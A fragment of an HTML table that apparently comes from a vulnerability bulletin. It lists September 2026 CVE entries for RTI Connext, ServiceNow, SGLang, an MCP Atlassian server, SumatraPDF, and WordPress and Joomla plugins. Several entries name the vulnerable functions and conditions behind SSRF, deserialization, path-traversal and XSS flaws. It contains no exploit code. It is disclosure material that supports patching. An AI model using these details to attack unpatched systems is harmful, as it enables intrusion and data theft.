&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11389&quot; target=&quot;_blank&quot;&gt;CVE-2026-11389&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RTI--Connext Professional&lt;/td&gt;
&lt;td&gt;Heap-based Buffer Overflow vulnerability in RTI Connext Professional (Core Libraries) allows Overflow Buffers. This issue affects Connext Professional: from 7.4.0 before 7.7.0.1, from 7.0.0 before 7.3.1.6, from 6.1.0 before 6.1.*, from 6.0.0 before 6.0.*, from 5.3.0 before 5.3.*, from 5.2.3 before 5.2.*.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18457&quot; target=&quot;_blank&quot;&gt;CVE-2026-18457&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RTI--Connext Professional&lt;/td&gt;
&lt;td&gt;Out-of-bounds Read, Function Call With Incorrect Number of Arguments, Access of Resource Using Incompatible Type (&#039;Type Confusion&#039;) vulnerability in RTI Connext Professional (Core Libraries) allows Overread Buffers. This issue affects Connext Professional: from 7.4.0 before 7.7.0.1, from 7.3.0 before 7.3.1.6, from 6.1.2.21 before 6.1.*.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18458&quot; target=&quot;_blank&quot;&gt;CVE-2026-18458&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RTI--Connext Professional&lt;/td&gt;
&lt;td&gt;Incorrect Calculation vulnerability in RTI Connext Professional (Core Libraries) allows Abuse Existing Functionality. This issue affects Connext Professional: from 7.4.0 before 7.7.0.1, from 7.0.0 before 7.3.1.6, from 6.1.0 before 6.1.*, from 6.0.0 before 6.0.*, from 5.3.0 before 5.3.*, from 5.2.0 before 5.2.*, from 4.1x before 5.1.*.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18459&quot; target=&quot;_blank&quot;&gt;CVE-2026-18459&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RTI--Connext Professional&lt;/td&gt;
&lt;td&gt;Off-by-one Error, Out-of-bounds Write vulnerability in RTI Connext Professional (Core Libraries) allows Overflow Buffers. This issue affects Connext Professional: from 7.4.0 before 7.7.0.1, from 7.0.0 before 7.3.1.6.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18460&quot; target=&quot;_blank&quot;&gt;CVE-2026-18460&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RTI--Connext Professional&lt;/td&gt;
&lt;td&gt;Use of Externally-Controlled Format String vulnerability in RTI Connext Professional (Core Libraries) allows Format String Injection. This issue affects Connext Professional: from 7.5.0 before 7.7.0.1, from 7.3.0.10 before 7.3.1.6.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18461&quot; target=&quot;_blank&quot;&gt;CVE-2026-18461&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RTI--Connext Professional&lt;/td&gt;
&lt;td&gt;Integer Overflow or Wraparound, Improper Access Control vulnerability in RTI Connext Professional (Core Libraries) allows Shared Resource Manipulation. This issue affects Connext Professional: from 7.4.0 before 7.7.0.1, from 7.0.0 before 7.3.1.6, from 6.1.0 before 6.1.*.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18462&quot; target=&quot;_blank&quot;&gt;CVE-2026-18462&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RTI--Connext Professional&lt;/td&gt;
&lt;td&gt;Out-of-bounds Read vulnerability in RTI Connext Professional (Core Libraries) allows Overread Buffers. This issue affects Connext Professional: from 7.4.0 before 7.7.0.1, from 7.0.0 before 7.3.1.6, from 6.1.0 before 6.1.*, from 6.0.0 before 6.0.*, from 5.3.0 before 5.3.*, from 5.2.0 before 5.2.*, from 5.0.0 before 5.1.*.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18626&quot; target=&quot;_blank&quot;&gt;CVE-2026-18626&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RTI--Connext Professional&lt;/td&gt;
&lt;td&gt;Stack-based Buffer Overflow vulnerability in RTI Connext Professional (Core Libraries) allows Overflow Buffers. This issue affects Connext Professional: from 7.4.0 before 7.7.0.1, from 7.0.0 before 7.3.1.6, from 6.1.0 before 6.1.*, from 6.0.0 before 6.0.*, from 5.3.0 before 5.3.*, from 5.2.0 before 5.2.*, from 4.3x before 5.1.*.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7866&quot; target=&quot;_blank&quot;&gt;CVE-2026-7866&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;RTI--Connext Professional&lt;/td&gt;
&lt;td&gt;Use After Free vulnerability in RTI Connext Professional (Security Plugins) allows File Manipulation. This issue affects Connext Professional: from 7.6.0 before 7.7.0.1.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-8849&quot; target=&quot;_blank&quot;&gt;CVE-2026-8849&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Seclore--FileSecure Desktop Client&lt;/td&gt;
&lt;td&gt;Seclore FileSecure Desktop Client before 3.25.1.0 contains improper access control vulnerability in the kernel-mode driver component that allows an authenticated local user to gain elevated privileges to NT AUTHORITY\SYSTEM on affected systems.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79153&quot; target=&quot;_blank&quot;&gt;CVE-2026-79153&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ServiceNow--ServiceNow AI Platform&lt;/td&gt;
&lt;td&gt;ServiceNow has remediated a SQL injection vulnerability that was identified in the ServiceNow AI Platform. This vulnerability could enable an unauthenticated user, in certain circumstances, to execute arbitrary SQL statements against the instance&#039;s underlying database and gain access to, or modify, instance data beyond what was intended.&amp;nbsp; ServiceNow deployed a security update to hosted instances and ServiceNow provided the update to our partners and self-hosted customers. We are not currently aware of malicious exploitation against ServiceNow instances. We recommend customers promptly apply appropriate updates or upgrade to a patched release if they have not already done so.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13016&quot; target=&quot;_blank&quot;&gt;CVE-2026-13016&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ServiceNow--ServiceNow AI Platform&lt;/td&gt;
&lt;td&gt;ServiceNow has remediated an authorization bypass security issue that was identified in the ServiceNow AI Platform. This security issue, if exploited, could enable an authenticated user to access data within the ServiceNow AI Platform that the user otherwise would not be entitled to access, potentially enabling further unintended access. ServiceNow deployed an update to hosted instances, and ServiceNow provided the update to our partners and self-hosted customers. We are not currently aware of malicious exploitation against ServiceNow instances. We recommend customers promptly apply appropriate updates or upgrade to a patched release if they have not already done so.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86857&quot; target=&quot;_blank&quot;&gt;CVE-2026-86857&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ServiceNow--ServiceNow AI Platform&lt;/td&gt;
&lt;td&gt;ServiceNow has remediated an improper access control security issue that was identified in the ServiceNow AI Platform. This security issue could enable an unauthenticated user, in certain circumstances, to create, modify, or delete instance data beyond what was intended. In August 2026, ServiceNow deployed a security update to hosted instances and ServiceNow provided the update to our partners and self-hosted customers. We are not currently aware of malicious exploitation against ServiceNow instances. We recommend customers promptly apply appropriate updates or upgrade to a patched release if they have not already done so.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86858&quot; target=&quot;_blank&quot;&gt;CVE-2026-86858&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ServiceNow--ServiceNow AI Platform&lt;/td&gt;
&lt;td&gt;ServiceNow has remediated an authorization bypass security issue that was identified in the ServiceNow AI Platform. This security issue, if exploited, could enable an unauthenticated user to access data within the ServiceNow AI Platform that the user otherwise would not be entitled to access, potentially enabling further unintended access. ServiceNow deployed a security update to hosted instances and ServiceNow provided the update to our partners and self-hosted customers. We are not currently aware of malicious exploitation against ServiceNow instances. We recommend customers promptly apply appropriate updates or upgrade to a patched release if they have not already done so.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86859&quot; target=&quot;_blank&quot;&gt;CVE-2026-86859&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ServiceNow--ServiceNow AI Platform&lt;/td&gt;
&lt;td&gt;ServiceNow has remediated a missing authorization vulnerability that was identified in the ServiceNow AI Platform. This vulnerability could enable an unauthenticated user, in certain circumstances, to extract instance data beyond what was intended, resulting in privilege escalation. ServiceNow deployed a security update to hosted instances and ServiceNow provided the update to our partners and self-hosted customers. We are not currently aware of malicious exploitation against ServiceNow instances. We recommend customers promptly apply appropriate updates or upgrade to a patched release if they have not already done so.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86860&quot; target=&quot;_blank&quot;&gt;CVE-2026-86860&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SGLang--SGLang&lt;/td&gt;
&lt;td&gt;SGLang&#039;s multimodal generation runtime is vulnerable to unauthenticated arbitrary code execution because the disaggregated-diffusion orchestrator&#039;s DiffusionServer binds an unauthenticated ZeroMQ ROUTER socket to a network interface and passes the final frame of received multipart messages directly to pickle.loads() before any validation occurs.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93088&quot; target=&quot;_blank&quot;&gt;CVE-2026-93088&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SGLang--SGLang&lt;/td&gt;
&lt;td&gt;SGLang contains a DoS vulnerability caused by missing input validation for AUX_DATA ZeroMQ control messages in the Decode worker, which enables an unauthenticated remote attacker with network reachability to the Decode control PULL socket to terminate the Decode control thread and cause a denial of service against the target server.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94570&quot; target=&quot;_blank&quot;&gt;CVE-2026-94570&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;simdjson --simdjson 4.6.1&lt;/td&gt;
&lt;td&gt;simdjson 4.6.1 contains a one-byte out-of-bounds read vulnerability in dom::parser::parse_unpadded(). A specially crafted truncated JSON document whose final structural token closes a nested array or object can cause json_iterator::walk_document() to access buf[len] after the input buffer has been exhausted. This results in a heap out-of-bounds read and may cause application termination, leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88358&quot; target=&quot;_blank&quot;&gt;CVE-2026-88358&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Social Commerce for WooCommerce--Social Commerce for WooCommerce&lt;/td&gt;
&lt;td&gt;The Social Commerce for WooCommerce WordPress plugin through 2.5.4 does not have authorisation checks on some of its REST API endpoints, allowing unauthenticated users to update Social Commerce for WooCommerce WordPress plugin through 2.5.4 configuration and product synchronisation state.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86785&quot; target=&quot;_blank&quot;&gt;CVE-2026-86785&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira and Confluence upload tools interpret caller-controlled path arguments on the MCP server and open those files before sending them as attachments. In remote or multi-user deployments, a permitted client can disclose host files without shell or direct filesystem access. The advisory traces the vulnerable input and processing flow through AttachmentsMixin.upload_attachment, AttachmentsMixin.upload_attachments, file_path, file_paths, and jira update_issue, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77247&quot; target=&quot;_blank&quot;&gt;CVE-2026-77247&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, Jira search accepts a forbidden project clause because it checks only for the presence of project syntax, Confluence search uses an incomplete case-sensitive space check, and Jira board APIs omit project-filter enforcement. These paths expose issues, boards, or pages outside JIRA_PROJECTS_FILTER or CONFLUENCE_SPACES_FILTER when the operator credentials have broader access. The advisory traces the vulnerable input and processing flow through jira_search, confluence_search, get_board_issues, get_agile_boards, JIRA_PROJECTS_FILTER, and CONFLUENCE_SPACES_FILTER, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77251&quot; target=&quot;_blank&quot;&gt;CVE-2026-77251&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the plaintext OAuth fallback file containing refresh and access tokens is written with permissions inherited from the process umask. Under common or permissive configurations, other local users can read the backup and retain Atlassian access through the refresh token. The advisory traces the vulnerable input and processing flow through OAuthConfig._save_tokens_to_file, refresh_token, access_token, and umask, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77256&quot; target=&quot;_blank&quot;&gt;CVE-2026-77256&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, HTTP-exposed Jira and Confluence upload tools pass a caller-provided file_path to local file operations without restricting it to the workspace. A remote MCP caller with tool access can cause the server to read sensitive local files and upload them as Atlassian attachments. The advisory traces the vulnerable input and processing flow through streamable-http, upload_attachment, and file_path, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77257&quot; target=&quot;_blank&quot;&gt;CVE-2026-77257&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the Confluence and Jira upload_attachment implementations accept an unconstrained file_path and open the referenced server-local file. A permitted MCP caller can upload sensitive host files to an Atlassian destination and then retrieve their contents. The advisory traces the vulnerable input and processing flow through upload_attachment, file_path, and CVE-2026-27825, which identify the affected entry points, controls, and code paths. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77260&quot; target=&quot;_blank&quot;&gt;CVE-2026-77260&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the X-Atlassian-Jira-Url and X-Atlassian-Confluence-Url headers are processed by _process_authentication_headers and used to construct Atlassian fetchers without calling validate_url_for_ssrf. A caller who can set these headers can supply an internal or metadata-service URL and cause the server to send requests to that destination, bypassing the incomplete CVE-2026-27826 remediation. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77267&quot; target=&quot;_blank&quot;&gt;CVE-2026-77267&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_safe_path defaults its base directory to os.getcwd(), and affected Confluence attachment call sites omit base_dir, allowing attacker-selected writes within the working directory. This Python module overwrite can provide code execution when the application later imports the modified module, bypassing the remediation tracked as CVE-2026-27825. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77271&quot; target=&quot;_blank&quot;&gt;CVE-2026-77271&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sooperset--mcp-atlassian&lt;/td&gt;
&lt;td&gt;MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, validate_url_for_ssrf has a backslash authority confusion because it interprets the authority differently from the Requests connection layer in the header-based Jira and Confluence URL authentication flow. A crafted URL can validate as an external hostname while the HTTP client connects to an internal host, permitting server-side requests to protected network resources. This issue is fixed in version 0.22.0.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77274&quot; target=&quot;_blank&quot;&gt;CVE-2026-77274&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Stencil core--Stencil core&lt;/td&gt;
&lt;td&gt;Stencil core 4.43.5 is vulnerable to Incorrect Access Control.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79319&quot; target=&quot;_blank&quot;&gt;CVE-2026-79319&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Stencil core--Stencil core&lt;/td&gt;
&lt;td&gt;Stencil core 4.43.5 contains a DOM-based cross-site scripting (XSS) vulnerability in the component runtime. When a downstream application enables the experimental slot fixes option and uses scoped components, assigning a string to the textContent property of such a component&#039;s host element causes the value to be parsed as HTML instead of being inserted as text. If an application writes attacker-controlled data to these host elements, the data can be interpreted as markup and script can execute in the context of the application&#039;s origin.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79320&quot; target=&quot;_blank&quot;&gt;CVE-2026-79320&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Subscribe Forms--Subscribe Forms&lt;/td&gt;
&lt;td&gt;The Subscribe Forms WordPress plugin before 1.6.3 does not sanitise and escape one of its form settings before outputting it in a page, allowing authenticated users with the Author role and above to perform Stored Cross-Site Scripting attacks that execute in the browser of any visitor who views a page embedding the form, including logged-out visitors and administrators.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91073&quot; target=&quot;_blank&quot;&gt;CVE-2026-91073&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sulu--sulu&lt;/td&gt;
&lt;td&gt;Sulu is an open-source PHP content management system based on the Symfony framework. Prior to 2.6.25 and 3.0.8, the affected Sulu 2.6 and 3.0 release lines have a Smart Content QueryBuilder in src/Sulu/Component/Content/SmartContent/QueryBuilder.php that concatenates category identifiers from the public categories query parameter into a JCR-SQL2 WHERE clause without numeric validation. On a public page containing a category-filtered Smart Content block, an unauthenticated attacker can alter query conditions to infer or enumerate content-repository nodes, including unpublished content, or submit malformed and expensive query fragments that degrade availability; this path does not modify repository data. This issue is fixed in versions 2.6.25 and 3.0.8.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92692&quot; target=&quot;_blank&quot;&gt;CVE-2026-92692&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SumatraPDF--SumatraPDF 3.6.1&lt;/td&gt;
&lt;td&gt;SumatraPDF 3.6.1 contains an integer overflow vulnerability in EngineMupdf::BuildPageLabelRec() when parsing PDF PageLabels /Nums entries.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88361&quot; target=&quot;_blank&quot;&gt;CVE-2026-88361&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sumatrapdfreader--sumatrapdf&lt;/td&gt;
&lt;td&gt;SumatraPDF is a multi-format reader for Windows. Prior to 3.6, the MobiDoc::ParseHeader function in src/MobiDoc.cpp validates a record using kMobiHeaderMinLen but DecodeMobiDocHeader constructs a decoder sized for kMobiHeaderLen without receiving the actual remaining buffer length. A malformed MOBI file can use an attacker-controlled header length to bypass optional-field early returns and cause the decoder to read beyond a short heap buffer. Opening the crafted document can crash SumatraPDF. This issue is fixed in version 3.6.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-26054&quot; target=&quot;_blank&quot;&gt;CVE-2026-26054&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;svenbluege.de--Event Gallery for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - svenbluege.de - CSRF in image upload in Event Gallery extension &amp;lt; 6.5.0 - Due to lack of an CSRF token check, a third-party site can upload files to an event and overwrite existing files with the same name.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100747&quot; target=&quot;_blank&quot;&gt;CVE-2026-100747&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;svenbluege.de--Event Gallery for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - svenbluege.de - CSRF in various cart actions in Event Gallery extension &amp;lt; 6.5.0&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100748&quot; target=&quot;_blank&quot;&gt;CVE-2026-100748&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;svenbluege.de--Event Gallery for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - svenbluege.de - CSRF in backend cleanup actions in Event Gallery extension &amp;lt; 6.5.0 - Only orphaned file entries and shopping carts that are older than 30 days will be deleted.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100749&quot; target=&quot;_blank&quot;&gt;CVE-2026-100749&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;svenbluege.de--Event Gallery for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - svenbluege.de - Authenticated arbitrary path deletion in `clear cache` task in Event Gallery extension &amp;lt; 6.5.0 - Using the `images` parameter of the `cache.process` task, you can recursively delete any directories that the web server is authorized to write to.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97164&quot; target=&quot;_blank&quot;&gt;CVE-2026-97164&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;svenbluege.de--Event Gallery for Joomla&lt;/td&gt;
&lt;td&gt;Joomla Extension - svenbluege.de - Reflected XSS and open redirect in Event Gallery extension &amp;lt; 6.5.0 - The &quot;return&quot; parameter is base64-decoded and written to the &quot;Back&quot; link without being validated.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
